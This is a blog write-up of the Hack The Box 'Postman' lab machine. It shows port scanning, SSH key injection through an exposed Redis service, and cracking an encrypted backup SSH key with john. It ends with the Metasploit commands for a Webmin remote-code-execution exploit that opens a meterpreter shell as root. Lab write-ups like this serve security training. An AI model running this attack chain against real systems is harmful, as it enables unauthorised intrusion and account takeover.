Postman Write-up (HTB)

Postman Write-up (HTB)

·

3 min read

Hello Everyone, this is my very first public write-up for any HTB machine. Please feel free to reach out for any suggestions / improvement in either the methodology or this particular documentation.

HTB Profile

Recon

I prefer to first perform a stealth scan for all the ports and then perform an extensive scan for the open ones. Thus, below we proceed on with an extensive scan of the open ports found from a Full SYN Scan (nmap -p- 10.10.10.160):

nmap -sC -sV -p0–10000 10.10.10.160 -oN nmapres

Output:

As we can see over here that we got 4 ports running various services. Hence my thought process proceeds like:

  1. To access ssh, we’d require a set of credentials which rules out it’s current scope of exploit-ability.
  2. We have got a website running at port 80, but on visiting and enumerating it using a tool called dirsearch, we don’t find anything of use:

./dirsearch.py -u http://10.10.10.160 -e txt,php

3. The odd port, 6379 running redis does arouse our curiosity and makes us, to go behind it.

4. The port number 10,000 is running webmin. This could also be of interest.

  • Read online about redis and how it can be accessed with the cli utility ‘redis-cli’.
  • Also discovered that the user for this functionality is ‘redis’. (Information Gathering from Documentation)

On researching online a bit, stumbling through different references, I found this link which proved to be very helpful.

Followed the same methodology to put my ssh keys into the remote server and logged in using the command:

ssh -i id_rsa redis@10.10.10.160

As we can follow along well, we get a redis command prompt and can roam around with “redis” user permissions but the user is still not accessible but on enumerating a bit we can find that the user access can be achieved by gaining password for a user named ‘Matt’.

Also, here we do come across an interesting log in the “.bash_history” file, which mentions the “id_rsa.bak” file.

We can download this backup ssh key and since it’s encrypted, it means there is a password and if there is a password then we are interested in it. So we will be cracking it using our very dear JOHN tool but before that we need to convert it into a readable format for john since it cannot read .bak files.

ssh2john id_rsa.bak > id_rsa_john

Hence we use a tool from github:- ssh2john, to convert it into a brute-forcible format (id_rsa_john) and pass it to john using the following syntax:

john --wordlist=rockyou.txt id_rsa_john

This is our end result and here we got the password as ‘computer2008’.

Owning the USER:

To own the user, we try this password everywhere. Since we earlier discovered that there is a user named as ‘Matt’, we try to switch to this user using this password and this is what we get:

As we got root, now we can move on for root user.

Owning the ROOT:

Earlier while enumerating about the target, we discovered that there is an Remote Code Execution (RCE) module in metasploit that can help us escalate privilege. You can find it here.

Following the same and running metasploit by typing-in ‘msfconsole’:

>use exploit/linux/http/webmin_packageup_rce

>set rhosts 10.10.10.160

>set username Matt

>set password computer2008

>set ssl true

>set lhost

>exploit

And there we get a meterpreter shell, leading us to the root.txt file.

Thank you so much for reading, would love to have your views on this.

~Mrigendra Soni

Did you find this article valuable?

Support hexbyte by becoming a sponsor. Any amount is appreciated!